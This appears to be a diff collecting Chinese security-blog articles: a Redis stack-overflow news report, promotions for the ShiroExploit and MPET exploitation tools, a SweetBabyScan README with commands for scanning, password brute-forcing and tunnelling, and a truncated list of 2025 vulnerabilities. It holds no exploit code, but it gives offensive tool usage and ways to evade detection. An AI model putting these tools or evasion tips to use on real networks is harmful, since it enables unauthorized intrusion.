当用户提供的消息 ID 数量超过固定大小数组的容量时,该函数会盲目地写入缓冲区末尾之外的数据。由于这些 ID 由攻击者控制,因此可以利用它们覆盖关键的堆栈内存,包括函数的返回地址。
|
||||
|
||||
通常,现代软件会使用“栈金丝雀”(stack canary)来抵御此类攻击——在代码执行被劫持之前,会在代码栈中放置一些秘密值来检测是否存在损坏。然而,在调查过程中,研究人员对官方的 Redis Docker 镜像有了惊人的发现。
|
||||
|
||||
“令人惊讶的是,这种对 EIP 的直接控制表明,官方 Docker 镜像中的 Redis 编译时没有使用堆栈金丝雀保护!”
|
||||
|
||||
这一疏忽使得原本难度极高的漏洞利用变得轻而易举。由于没有预警机制阻止,研究人员得以精确控制指令指针。他们构建了一条面向返回编程(ROP)链来绕过NX(No-eXecute)保护机制,利用系统自身的mprotect函数将堆栈标记为可执行,然后再运行他们自己的shellcode。
|
||||
|
||||
JFrog 通过发送特定的命令序列成功演示了这种攻击——先发送 XGROUP CREATE 命令,然后发送带有 62 个精心构造的消息 ID 的 XACKDEL 命令——从而触发了反向 shell。
|
||||
|
||||
该漏洞已在 Redis 8.3.2 版本中修复。然而,其影响范围仍然十分广泛。Shodan 扫描显示,近 3000 台服务器运行着存在漏洞的版本,其中大部分位于德国、美国和中国。
|
||||
|
||||
至关重要的是,由于 Redis 默认情况下不强制执行身份验证,因此该漏洞通常允许未经身份验证的远程代码执行,使其成为机会主义攻击者的主要目标。
|
||||
|
||||
参考链接:
|
||||
|
||||
https://jfrog.com/blog/exploiting-remote-code-execution-in-redis/
|
||||
|
||||
@@ -0,0 +1,95 @@
|
||||
# ShiroExploit_通过另类手法实现Shiro一把梭
|
||||
原创 ptr
|
||||
ptr UpRoot 2026-01-21 00:30
|
||||
|
||||
### 前言
|
||||
|
||||
攻防博弈发展至今,常规工具的流量特征早已被安全设备精准标记、清晰识别,也正因如此,各类经二次开发、魔改后的工具应运而生。
|
||||
|
||||
目前很多关于Shiro反序列化漏洞利用的工具是基于@SummerSec所写的ShiroAttack2魔改来的,这一类工具因为打内存马的方式、以及内存马模板都没有动,包括探测利用链的方式、跑Key的方式都原封不动,导致ShiroAttack2有啥问题,以此魔改的工具就有啥问题。
|
||||
|
||||

|
||||
|
||||
ShiroAttack2明显的流量特征如下有:
|
||||
|
||||
1、请求头中有Authorization: Basic d2hvYW1p
|
||||
后面是命令的Base64,回显结果被$$$
|
||||
包含。
|
||||
|
||||

|
||||
|
||||
2、其采用内存马分离加载,请求头中有内存马的密码和请求路径,回显出现->|Success|<-
|
||||
字样。
|
||||
|
||||

|
||||
|
||||
这样特征很容易被安全设备标记,蓝队看监控看着设备弹出来告警后,你可能连持久化还没做就被关站下线了。
|
||||
|
||||
SummerSec师傅写的这款工具很具有实战价值、参考学习价值,但他已经快三年没有更新这款工具了,很多已知bug仍未修复,或许内部有更完善的版本并未开源出来。就针对目前的版本来说,对我而言,确实用来不是很顺手。
|
||||
|
||||
为了避免重复造轮子,因此我决定通过不一样的利用方式写一个我顺手的工具出来。
|
||||
### ShiroExploit
|
||||
|
||||

|
||||
|
||||
ShiroExploit,是一款Shiro反序列化漏洞一站式综合利用工具。
|
||||
|
||||
基本概述如下:
|
||||
|
||||
1、区分ShiroAttack2,采用分块传输内存马,每块大小不超过4000。
|
||||
|
||||
2、可打JDK高版本的shiro,确保有key、有gadget就能rce。
|
||||
|
||||
3、依托JavaChains动态生成gadget,实现多条利用链,如CB、CC、Fastjson、Jackson。
|
||||
|
||||
4、通过魔改MemshellParty的内存马模板,使其回显马通信加密,去除一些典型的特征。
|
||||
|
||||
5、借助JMG的注入器,加以魔改,实现无侵入性,同一个容器可同时兼容多种类型的内存马。
|
||||
|
||||
6、对内存马和注入器类名进行随机化和Lambda化处理,规避内存马主动扫描设备的检测。
|
||||
|
||||
7、可以更改目标配置,如改Key、改TomcatHeaderMaxSize。
|
||||
|
||||
8、采用URLDNS链和反序列化炸弹的方式来探测指定类实现利用链的探测。
|
||||
|
||||
9、缺点是流量相对大一些。
|
||||
### 功能演示
|
||||
|
||||
JDK18场景下实现命令执行和打入多种内存马。
|
||||
|
||||

|
||||
|
||||
跑key。
|
||||
|
||||

|
||||
|
||||
探测利用链。
|
||||
|
||||

|
||||
|
||||
命令执行。
|
||||
|
||||

|
||||
|
||||
打入Godzilla内存马(支持Behinder内存马)。
|
||||
|
||||

|
||||
|
||||
打入SUO5V2内存马。
|
||||
|
||||

|
||||
|
||||
支持Tomcat10及以上的内存马。
|
||||
|
||||

|
||||
|
||||
**项目地址:https://github.com/FightingLzn9/ShiroExploit**
|
||||
|
||||
期待这款工具,能够给你带来新的体验。
|
||||
|
||||
在无人问津的地方训练。
|
||||
|
||||
- END -
|
||||
###
|
||||
|
||||
|
||||
@@ -0,0 +1,326 @@
|
||||
# SweetBabyScan,一款轻量级内网资产探测漏洞扫描工具
|
||||
inbug-team
|
||||
inbug-team 泷羽Sec 2026-01-20 23:55
|
||||
|
||||
## 简介
|
||||
|
||||
甜心宝贝是一款支持弱口令爆破的内网资产探测漏洞扫描工具,集成了Xray与Nuclei的Poc
|
||||
### 工具定位
|
||||
|
||||
内网资产探测、通用漏洞扫描、弱口令爆破、端口转发、内网穿透、SOCK5
|
||||
- 主机[IP&域名]存活检测,支持PING/ICMP模式
|
||||
|
||||
- 端口[IP&域名]服务扫描
|
||||
|
||||
- 网站爬虫截图,CMS识别
|
||||
|
||||
- Nuclei & Xray POC
|
||||
|
||||
- 网卡识别、域控识别、SMBGhost、MS17017
|
||||
|
||||
- 弱口令爆破:
|
||||
|
||||
- 文件:FTP/SMB
|
||||
|
||||
- 远程:SSH/RDP/SNMP
|
||||
|
||||
- 数据库:Redis/MongoDB/MySQL/SQLServer/PgSQL/ES/Oracle/Memcached
|
||||
|
||||
- TCP端口转发
|
||||
|
||||
- 内网穿透
|
||||
|
||||
- SOCK5穿透
|
||||
|
||||
### 工具截图
|
||||
|
||||
工具根据系统自动下载对应版本的Chromium
|
||||
|
||||

|
||||
|
||||
1
|
||||
|
||||

|
||||
|
||||
2
|
||||
|
||||

|
||||
|
||||
3
|
||||
|
||||

|
||||
|
||||
4
|
||||
|
||||

|
||||
|
||||
5
|
||||
|
||||

|
||||
|
||||
13
|
||||
|
||||

|
||||
|
||||
14
|
||||
|
||||

|
||||
|
||||
17
|
||||
|
||||
调高探测与扫描并发
|
||||
```
|
||||
./SbScan -h 192.168.0.0/16 -wsh 500 --wsp 500
|
||||
|
||||
```
|
||||
|
||||

|
||||
|
||||
6
|
||||
|
||||

|
||||
|
||||
7
|
||||
|
||||

|
||||
|
||||
8
|
||||
|
||||
端口扫描可以写端口号、端口范围或者常用端口类型
|
||||
```
|
||||
./SbScan -h 192.168.188.0/24 -p 80,22,81-89
|
||||
|
||||
```
|
||||
|
||||

|
||||
|
||||
9
|
||||
|
||||

|
||||
|
||||
10
|
||||
|
||||
列出weblogic漏洞对应的poc
|
||||
```
|
||||
./SbScan --lpn --fpn weblogic
|
||||
|
||||
```
|
||||
|
||||

|
||||
|
||||
15
|
||||
|
||||
列出thinkphp漏洞对应的poc
|
||||
|
||||

|
||||
|
||||
16
|
||||
### 一、编译
|
||||
- 递归克隆项目,获取最新poc
|
||||
|
||||
```
|
||||
git clone https://github.com/inbug-team/SweetBabyScan.git --recursive
|
||||
|
||||
```
|
||||
- 初始化module
|
||||
|
||||
```
|
||||
go mod tidy
|
||||
go mod vendor
|
||||
|
||||
```
|
||||
- Windows
|
||||
|
||||
```
|
||||
set GOOS=windows
|
||||
set GOARCH=amd64
|
||||
go build -ldflags="-s -w" -trimpath -o SbScan.exe
|
||||
|
||||
set GOOS=windows
|
||||
set GOARCH=386
|
||||
go build -ldflags="-s -w" -trimpath -o SbScan.exe
|
||||
|
||||
```
|
||||
- Mac or Linux
|
||||
|
||||
```
|
||||
GOOS=darwin GOARCH=amd64 go build -ldflags="-s -w" -trimpath -o SbScan
|
||||
GOOS=darwin GOARCH=arm64 go build -ldflags="-s -w" -trimpath -o SbScan
|
||||
GOOS=linux GOARCH=amd64 go build -ldflags="-s -w" -trimpath -o SbScan
|
||||
GOOS=linux GOARCH=386 go build -ldflags="-s -w" -trimpath -o SbScan
|
||||
|
||||
```
|
||||
### 二、运行
|
||||
- 自动扫描
|
||||
|
||||
```
|
||||
./SbScan
|
||||
|
||||
```
|
||||
- 根据指定IP段扫描
|
||||
|
||||
```
|
||||
./SbScan -h=192.168.188.1/24
|
||||
|
||||
```
|
||||
- 根据指定IP+端口扫描
|
||||
|
||||
```
|
||||
./SbScan -h=192.168.188.1/24 -p=tiny
|
||||
./SbScan -h=192.168.188.1/24,10.0.0.1/16 -p=22,80,443
|
||||
|
||||
```
|
||||
- 根据指定IP段混合域名扫描
|
||||
|
||||
```
|
||||
./SbScan -h=192.168.188.1/24,10.0.0.1/24,www.a.com,www.b.xyz,www.c.net
|
||||
|
||||
```
|
||||
- 修改并发提高性能
|
||||
|
||||
```
|
||||
./SbScan -wsh=2048 -wsp=1024 -h=192.168.188.1/24,10.0.0.1/16 -p=22,80,443
|
||||
|
||||
```
|
||||
- 跳过主机存活检测(nsh)、POC漏洞探测(nsp)、弱口令爆破(nsw)、高危漏洞探测(nsv)
|
||||
|
||||
```
|
||||
./SbScan -h=192.168.188.1/24 -p=22,80 --nsh --nsp --nsw --nsv
|
||||
|
||||
```
|
||||
- 指定IP文件、密码文件、账号文件、输出excel文件、指定爆破协议
|
||||
|
||||
```
|
||||
./SbScan -h=ip.txt -wp=pass.txt -wu=user.txt -oe=test.xlsx -ot=test.txt -ssw=redis,ssh,mysql
|
||||
|
||||
```
|
||||
- 弱口令生成器(覆盖模式iwp、追加模式iap)
|
||||
|
||||
```
|
||||
./SbScan -h=192.168.188.1/24 -iwp -pp=test,Test -pc=@ -ps=123
|
||||
|
||||
```
|
||||
- 端口转发
|
||||
|
||||
```
|
||||
./SbScan --pf -sh=192.168.188.1:8080 -lp=8080
|
||||
|
||||
```
|
||||
- 内网穿透公网服务器端启动,启动端口默认9188可自定义
|
||||
|
||||
```
|
||||
./SbScan --pm --pms -secret=自定义密码
|
||||
|
||||
```
|
||||
- 内网客户端端口映射,TCP端口转发
|
||||
|
||||
```
|
||||
./SbScan --pm --pmc -secret=自定义密码 -su=公网IP:9188 -pcm=8081-127.0.0.1:8080,8082-127.0.0.1:8080,8088-192.168.166.55:80
|
||||
|
||||
```
|
||||
```
|
||||
127.0.0.1:8080 映射到 公网8081
|
||||
127.0.0.1:8080 映射到 公网8082
|
||||
192.168.166.55:80 映射到 公网8088
|
||||
|
||||
```
|
||||
- 内网Sock5穿透
|
||||
|
||||
```
|
||||
./SbScan --pm --pmc --pmcs -secret=自定义密码 -su=公网IP:9188
|
||||
|
||||
```
|
||||
### 三、参数
|
||||
- 查看参数帮助命令
|
||||
|
||||
> 白小羽
|
||||
> ./SbScan --help
|
||||
|
||||
```
|
||||
Usage:
|
||||
./SbScan [flags]
|
||||
|
||||
Flags:
|
||||
-il, -isLog 显示日志 (default true)
|
||||
-is, -isScreen 启用截图 (default true)
|
||||
-oe, -outputExcel string 指定保存excel文件路径[以.xlsx结尾]
|
||||
-ot, -outputTxt string 指定保存txt文件路径[以.txt结尾]
|
||||
-h, -host string 检测网段/域名,或者txt文件[以.txt结尾,一行一组回车换行] (default "192.168.0.0/16,172.16.0.0/12,10.0.0.0/8")
|
||||
-p, -port string 端口范围:tiny[精简]、web[WEB服务]、normal[常用]、database[数据库]、caffe[咖啡厅/酒店/机场]、iot[物联网]、all[全部]、自定义 (default "web")
|
||||
-pt, -protocol string 端口范围:tcp、udp、tcp+udp (default "tcp+udp")
|
||||
-hb, -hostBlack string 排除网段
|
||||
-msh, -methodScanHost string 验存方式:PING、ICMP (default "ICMP")
|
||||
-wsh, -workerScanHost int 存活并发 (default 250)
|
||||
-tsh, -timeOutScanHost int 存活超时 (default 3)
|
||||
-r, -rarity int 优先级 (default 10)
|
||||
-wsp, -workerScanPort int 扫描并发 (default 250)
|
||||
-tspc, -timeOutScanPortConnect int 端口扫描连接超时 (default 6)
|
||||
-tsps, -timeOutScanPortSend int 端口扫描发包超时 (default 6)
|
||||
-tspr, -timeOutScanPortRead int 端口扫描读取超时 (default 6)
|
||||
-inpo, -isNULLProbeOnly 使用空探针,默认使用自适应探针
|
||||
-iuap, -isUseAllProbes 使用全量探针,默认使用自适应探针
|
||||
-wss, -workerScanSite int 爬虫并发 (default 16)
|
||||
-tss, -timeOutScanSite int 爬虫超时 (default 6)
|
||||
-ts, -timeOutScreen int 截图超时 (default 60)
|
||||
-lpn, -listPocNuclei 列举Poc Nuclei
|
||||
-lpx, -ListPocXray 列举Poc Xray
|
||||
-fpn, -filterPocName string 筛选POC名称,多个关键字英文逗号隔开
|
||||
-fvl, -filterVulLevel string 筛选POC严重等级:critical[严重] > high[高危] > medium[中危] > low[低危] > info[信息]、unknown[未知]、all[全部],多个关键字英文逗号隔开
|
||||
-tspn, -timeOutScanPocNuclei int PocNuclei扫描超时 (default 6)
|
||||
-wsPoc, -workerScanPoc int Poc并发 (default 100)
|
||||
-gsw, -groupScanWeak int 爆破分组 (default 20)
|
||||
-wsw, -workerScanWeak string 爆破并发,键值对形式,英文逗号分隔 (default "ssh:1,smb:1,rdp:1,snmp:1,sqlserver:4,mysql:4,mongodb:4,postgres:4,redis:6,ftp:1,clcsearch:4,oracle:4,memcached:4")
|
||||
-tsw, -timeOutScanWeak int 爆破超时 (default 6)
|
||||
-nsh, -noScanHost 跳过主机存活检测
|
||||
-nsw, -noScanWeak 跳过弱口令爆破
|
||||
-nsp, -noScanPoc 跳过POC漏洞验证
|
||||
-nsv, -noScanVul 跳过高危系统漏洞探测
|
||||
-ssw, -serviceScanWeak string 指定爆破协议:ssh,smb,rdp,snmp,sqlserver,mysql,mongodb,postgres,redis,ftp,clickhouse,elasticsearch,oracle,memcached,多个协议英文逗号分隔,默认全部
|
||||
-au, -aUser string 追加弱口令账号字典[以.txt结尾]
|
||||
-ap, -aPass string 追加弱口令密码字典[以.txt结尾]
|
||||
-wu, -wUser string 覆盖弱口令账号字典[以.txt结尾]
|
||||
-wp, -wPass string 覆盖弱口令密码字典[以.txt结尾]
|
||||
-iap, -isAPass 追加弱口令生成器
|
||||
-iwp, -isWPass 覆盖弱口令生成器
|
||||
-pp, -passwordPrefix string 密码前缀,多个英文逗号分隔
|
||||
-pc, -passwordCenter string 密码中位,多个英文逗号分隔
|
||||
-ps, -passwordSuffix string 密码后缀,多个英文逗号分隔
|
||||
-pf, -portForward 开启端口转发
|
||||
-sh, -sourceHost string 目标转发主机
|
||||
-lp, -localPort int 本机代理端口
|
||||
-pm, -portMap 开启内网穿透
|
||||
-pmc, -portMapClient 开启内网穿透-客户端
|
||||
-pms, -portMapServer 开启内网穿透-服务端
|
||||
-pmcs, -portMapClientSock5 开启内网穿透-客户端Sock5
|
||||
-s, -secret string 穿透密钥,自定义 (default "SBScan")
|
||||
-psl, -portServerListen int 穿透服务端监听端口 (default 9188)
|
||||
-sp, -sock5Port int Sock5监听端口 (default 9189)
|
||||
-sau, -sock5AuthUsername string Sock5鉴权账号
|
||||
-sap, -sock5AuthPassword string Sock5鉴权密码
|
||||
-su, -serverUri string 穿透服务端地址,公网IP:端口
|
||||
-pcm, -portClientMap string 穿透客户端映射字典,多个英文逗号隔开,格式:8080-127.0.0.1:8080,9000-192.168.188.1:9000
|
||||
|
||||
```
|
||||
## 往期推荐
|
||||
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
<< 滑动查看下一张图片 >>
|
||||
|
||||
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
# 【40万POC???】小场面,看纽克如何拿捏海量POC场景
|
||||
WDCIA 2026-01-19 10:31
|
||||
WDCIA 2026-01-20 23:01
|
||||
|
||||
#
|
||||
> ★
|
||||
|
||||
@@ -0,0 +1,111 @@
|
||||
# 【全网首发】2025 0/1/N Day漏洞清单(超长版)
|
||||
原创 wdgs
|
||||
wdgs WDCIA 2026-01-20 23:01
|
||||
|
||||
动动小手
|
||||
|
||||

|
||||
|
||||
点个
|
||||
关注
|
||||
~
|
||||
|
||||
|
||||

|
||||
|
||||
内容仅用于学习交流自查使用,由于传播、利用本公众号所提供的POC信息及POC对应脚本而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号WDCIA及作者不为此承担任何责任,一旦造成后果请自行承担!
|
||||
|
||||
如文章有侵权烦请及时告知,我们会立即删除文章并致歉。谢谢!
|
||||
|
||||

|
||||
|
||||
# 2025 0/1/N Day漏洞合集
|
||||
|
||||
|
||||

|
||||
|
||||
**01**
|
||||
|
||||
**漏洞列表**
|
||||
|
||||
|
||||
```
|
||||
【1Panel】1Panel 远程命令执行漏洞 (CVE-2025-54424)【7-Zip】7-Zip CVE-2025-11001和CVE-2025-11002复现+更新Linux上7z至最新版本7-Zip Mark-of-the-Web 绕过漏洞 (CVE-2025-0411)【74CMS】74cms 3.x商用版 downloadindex 任意文件读取漏洞【Adobe】Adobe Commerce upload 身份认证绕过漏洞 (CVE-2025-54236)【Advantech】Advantech R-SeeNet 2.4.12 OS命令注入漏洞Advantech R-SeeNet XSS漏洞【AgentSystem】AgentSystem 代理商管理系统 login.action Struts2 远程代码执行漏洞【AgentZero】AgentZero download_work_dir_file 任意文件读取漏洞【Akamai】Akamai CloudTest SOAP RepositoryService接口 XXE漏洞 (CVE-2025-49493)【Apache】Apache Druid SSRF漏洞 (CVE-2025-27888)Apache Kafka 任意文件读取 SSRF漏洞 (CVE-2025-27817)Apache NiFi 信息泄露漏洞 (CVE-2024-56512)Apache Struts XML外部实体注入漏洞 (CVE-2025-68493)Apache Tomcat 远程代码执行漏洞 (CVE-2025-24813)Apache Traffic Control SQL注入漏洞 (CVE-2024-45387)【Aquatronica】Aquatronica 控制系统 tcp 信息泄露漏洞【Arris】Arris VAP2500 diag_s 命令注入漏洞 (CVE-2024-5195)Arris VAP2500 list_mac_address.php 命令注入漏洞【AstrBot】AstrBot filename 任意文件读取漏洞AstrBot get_file 任意文件读取漏洞 (CVE-2025-48957)AstrBot 远程代码执行漏洞 (CVE-2025-55449)AstrBot 路径遍历漏洞【Aviatrix】Aviatrix Controller 命令注入漏洞 (CVE-2024-50603)【B-LINK】B-LINK AC1900 set_cmd 远程命令执行B-LINK AC1900 V1.0.2 未授权RCE漏洞【Bitrix】Bitrix modules 日志信息泄露漏洞【Brother】Brother 打印机 mnt_info.csv 默认管理员密码生成 (CVE-2024-51978)【CentreStack】CentreStack 反序列化漏洞 (CVE-2025-30406)【ChanCMS】ChanCMS search SQL注入漏洞ChanCMS V3.3.0 getArticle 命令执行漏洞ChanCMS _api_sysUser_login 默认弱口令ChanCMS 远程命令执行漏洞 (CVE-2025-8266)【ChatNet】ChatNet 聊天室 send-file 任意文件上传漏洞【Check-Point】Check-Point 安全网关 MyCRL 任意文件读取漏洞【CherryStudio】CherryStudio 命令注入漏洞 (CVE-2025-54074)【Cisco】Cisco IOS XE WLC 任意文件上传漏洞 (CVE-2025-20188)Cisco Secure Firewall file_action.html 权限绕过漏洞 (CVE-2025-20362)CVE-2025-20281 Cisco【Cleo】Cleo 远程代码执行漏洞 (CVE-2024-50623)【Commvault】Commvault deployWebpackage 路径遍历导致远程代码执行漏洞 (CVE-2025-34028)Commvault 权限绕过漏洞【CraftCms】CraftCms 代码注入漏洞 (CVE-2025-32432)【CRMEB】CRMEB 开源电商系统 orderlist SQL注入漏洞CRMEB 开源电商系统 productlist SQL注入漏洞【CrushFtp】CrushFtp 权限绕过漏洞 (CVE-2025-31161)CrushFtp 认证绕过漏洞 (CVE-2025-2825)【CuteHttpFileServer】CuteHttpFileServer downloaddir 任意文件下载漏洞 (CVE-2024-31552)【CWP】CentOS Web Panel 远程代码执行 (CVE-2025-48703)【D-Link】D-Link DCS-4622 getuser 信息泄露漏洞D-Link wireless系列产品 任意文件读取漏洞【DataEase】DataEase 2.10.10 H2 JDBC Bypass RCE (CVE-2025-49002)DataEase info validate 远程代码执行漏洞 (CVE-2025-49001)DataEase JWT硬编码身份认证绕过漏洞 (CVE-2024-52295)DataEase Postgresql JDBC Bypass 远程代码执行漏洞【DataGear】DataGear 平台 resolveSql 远程代码执行漏洞【DATAGERRY】DATAGERRY API认证绕过漏洞 (CVE-2024-50967)【DedeCMS】DedeCMS 开放重定向漏洞 (CVE-2024-57241)【Dify】Dify forgot-password 任意用户密码重置Dify upload SSRF漏洞【DocsGPT】DocsGPT RCE漏洞 (CVE-2025-0868)【DolphinBank】Dolphin Bank Management System user addition page XSS【DrayTek】DrayTek Vigor cvmcfgupload 命令执行漏洞【DSMall】DSMall 开源多用户商城系统 get_url_contents 远程文件包含漏洞【DzzOffice】DzzOffice 评论编辑模板 XSS漏洞【EasyCVR】EasyCVR 视频管理平台 downloadxlsx SQL注入漏洞EasyCVR 视频管理平台 getbaseconfig 信息泄露 (CVE-2025-1595)【EasyImage】EasyImage down.php 任意文件读取漏洞【Elber】Elber Wayber 模拟数字音频密码重置漏洞Elber 权限绕过 (CVE-2025-0674)【Electrolink】Electrolink controlloLogin 凭据泄露漏洞 (CVE-2025-28228)【Elestio】Elestio Memos link metadata SSRF漏洞 (CVE-2025-22952)【eMerge】eMerge E3 execute.php 命令执行漏洞【Emlog】emlog pro 2.5.7-2.5.8 SQL注入漏洞【Enesys】Enesys 客户服务管理平台 dwr 未授权访问漏洞Enesys 客户服务管理平台登录处 SQL注入漏洞【EnGenius】EnGenius EnShare 命令执行漏洞 (CVE-2025-34035)EnGenius usbinteract.cgi 未授权远程命令执行【Evertz】Evertz SDVN 3080ipx-10G 远程命令执行漏洞 (CVE-2025-4009)【Everything】Everything 未授权任意文件读取漏洞【Faveo】Faveo Helpdesk 目录遍历漏洞 (CVE-2024-37700)【FLIR】FLIR-AX8 热成像仪 debug_database 信息泄露漏洞【Flowise】Flowise AI系统 attachments 任意文件上传漏洞Flowise customMCP 远程命令执行漏洞Flowise fetch-links SLine truncated
|
||||
```
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
**02**
|
||||
|
||||
**影响版本**
|
||||
```
|
||||
无
|
||||
```
|
||||
|
||||
|
||||

|
||||
|
||||
**03**
|
||||
|
||||
**测绘语法**
|
||||
|
||||
|
||||
测绘语句:
|
||||
```
|
||||
无
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
**04**
|
||||
|
||||
**POC**
|
||||
|
||||
|
||||
POC未打包!!!
|
||||
|
||||
|
||||
往期推荐
|
||||
|
||||
[【全网首发】0 Day 锐明技术Crocus RealTimeInfo.do 存在SQL注入漏洞](https://mp.weixin.qq.com/s?__biz=MzUyNzk1NjA5MQ==&mid=2247483752&idx=1&sn=7237ada582787fc42486253338885b08&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[漏洞情报(已验证) | 0 Day用友U8+渠道管理 toviewspecial 存在任意文件读取漏洞](https://mp.weixin.qq.com/s?__biz=MzUyNzk1NjA5MQ==&mid=2247483745&idx=1&sn=64c2ece723cfe88bb0e044392fe14936&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[漏洞情报(已验证) | 0 Day 锐明技术Crocus MemoryState 存在SQL注入漏洞](https://mp.weixin.qq.com/s?__biz=MzUyNzk1NjA5MQ==&mid=2247483736&idx=1&sn=5b4648fa5cc174166dc3da19d40ef290&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[漏洞情报(已验证) | 0 Day 金和OA XMLHttp.aspx存在XXE漏洞](https://mp.weixin.qq.com/s?__biz=MzUyNzk1NjA5MQ==&mid=2247483729&idx=1&sn=ae6688f9e53933ee98ebe781ebb1ca8d&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[漏洞情报(已验证) | 1 Day 普华PowerPMS GetFilesData 存在SQL注入漏洞](https://mp.weixin.qq.com/s?__biz=MzUyNzk1NjA5MQ==&mid=2247483723&idx=1&sn=cefcceaf3cc48b454d380e3b576cda83&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[漏洞情报(已验证) | 0 Day 科立讯指挥调度管理平台 get_user_xxxxxx.php 存在SQL注入漏洞](https://mp.weixin.qq.com/s?__biz=MzUyNzk1NjA5MQ==&mid=2247483712&idx=1&sn=6db67e3f67ee9467224aaedeb8bbb643&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[漏洞情报(已验证) | 0/1 Day 孚盟云CRM GetImage.aspx 存在SQL注入漏洞](https://mp.weixin.qq.com/s?__biz=MzUyNzk1NjA5MQ==&mid=2247483706&idx=1&sn=dc2d631d5aaea0c8a2ccd1552da4343e&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[(已验证) | 1 Day万户OA govdocumentmanager_sendfile_gd 存在SQL注入漏洞](https://mp.weixin.qq.com/s?__biz=MzUyNzk1NjA5MQ==&mid=2247483695&idx=1&sn=cc95dc13db9497e0fdca86d4da5d4d92&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[漏洞情报 | 1 Day用友 U8 CRM checkselectpartapply.php存在SQL注入漏洞](https://mp.weixin.qq.com/s?__biz=MzUyNzk1NjA5MQ==&mid=2247483676&idx=1&sn=dba4f97f19068ca2e72c55cd04cc6ec8&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[漏洞情报 | 0 Day红帆OA NetCAUserLogin.aspx存在SQL注入漏洞](https://mp.weixin.qq.com/s?__biz=MzUyNzk1NjA5MQ==&mid=2247483667&idx=1&sn=456d11f8d2b6f1a6dc3377f44f19f272&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[漏洞情报(已验证) | 0 Day金和C6 CheckPwd.aspx 存在XXE漏洞](https://mp.weixin.qq.com/s?__biz=MzUyNzk1NjA5MQ==&mid=2247483689&idx=1&sn=3c3e7e267bcd88d9892beeb7f6c0875a&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[漏洞情报(已验证) | 0 Day金和C6 FileUpload.aspx 存在任意文件读取漏洞](https://mp.weixin.qq.com/s?__biz=MzUyNzk1NjA5MQ==&mid=2247483684&idx=1&sn=1900cdd412937ad6349e13416958a9bf&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
@@ -0,0 +1,154 @@
|
||||
# 【红队】一款专业的多协议漏洞利用与攻击模拟平台
|
||||
onewinner
|
||||
onewinner 夜组安全 2026-01-21 00:03
|
||||
|
||||
免责声明
|
||||
|
||||
由于传播、利用本公众号夜组安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号夜组安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
|
||||
**所有工具安全性自测!!!VX:**
|
||||
**NightCTI**
|
||||
|
||||
朋友们现在只对常读和星标的公众号才展示大图推送,建议大家把
|
||||
**夜组安全**
|
||||
“**设为星标**
|
||||
”,
|
||||
否则可能就看不到了啦!
|
||||
|
||||
|
||||

|
||||
|
||||
## 工具介绍
|
||||
|
||||
MPET (Multi-Protocol Exploitation Toolkit) 是一款专业的多协议安全测试工具,基于 Wails 框架构建的现代化桌面应用。它提供了对 25+ 种主流服务协议的连接测试、未授权访问检测、弱口令检测和漏洞利用能力,是安全研究人员和渗透测试工程师的得力助手。
|
||||
|
||||

|
||||
|
||||

|
||||
## 功能特性
|
||||
### 核心功能
|
||||
- ✅ **多协议支持**
|
||||
: 覆盖 25+ 种主流服务协议(数据库、文件传输、消息队列、容器编排等)
|
||||
|
||||
- ✅ **智能导入**
|
||||
: 支持 CSV、Fscan 1.8.4、Fscan 2.1.1、Lightx 结果文件自动识别和导入
|
||||
|
||||
- ✅ **批量操作**
|
||||
: 批量导入、批量连接、批量删除、批量导出
|
||||
|
||||
- ✅ **未授权检测**
|
||||
: 自动检测 Redis、MongoDB、Docker、Kubernetes 等服务的未授权访问
|
||||
|
||||
- ✅ **弱口令检测**
|
||||
: 自动识别扫描工具结果中的弱口令,支持自定义凭据测试
|
||||
|
||||
- ✅ **命令执行**
|
||||
: SSH、Docker、Kubernetes 容器命令执行
|
||||
|
||||
- ✅ **文件浏览**
|
||||
: FTP、SFTP、SMB 文件浏览和下载
|
||||
|
||||
- ✅ **远程桌面**
|
||||
: VNC、RDP 屏幕截图获取
|
||||
|
||||
- ✅ **实时监控**
|
||||
: 实时显示连接状态和详细日志
|
||||
|
||||
- ✅ **漏洞报告**
|
||||
: 自动生成 Markdown 格式漏洞报告,包含截图和修复建议
|
||||
|
||||
- ✅ **漏洞管理**
|
||||
: 内置漏洞信息库,支持自定义编辑
|
||||
|
||||
### 高级特性
|
||||
- 🔧 **代理穿透**
|
||||
: 全局 SOCKS5 代理配置,支持代理认证
|
||||
|
||||
- 🎨 **主题切换**
|
||||
: 亮色/暗色主题自由切换
|
||||
|
||||
- 📋 **多格式导入**
|
||||
: 支持 CSV、Fscan、Lightx 等多种格式自动识别
|
||||
|
||||
- 🎯 **拖拽上传**
|
||||
: 直接拖拽文件到窗口即可导入,无需点击按钮
|
||||
|
||||
- 🔍 **智能解析**
|
||||
: 自动识别未授权访问和弱口令,无需手动标注
|
||||
|
||||
- 🔄 **自动刷新**
|
||||
: 实时更新连接状态
|
||||
|
||||
- 🎯 **智能筛选**
|
||||
: 按类型、IP、用户名、状态、消息内容筛选
|
||||
|
||||
- 📊 **分页展示**
|
||||
: 支持自定义每页显示数量
|
||||
|
||||
- 🖼️ **截图导出**
|
||||
: 自动截取连接详情用于报告生成
|
||||
|
||||
## 支持的协议
|
||||
### 数据库服务 (9种)
|
||||
|
||||

|
||||
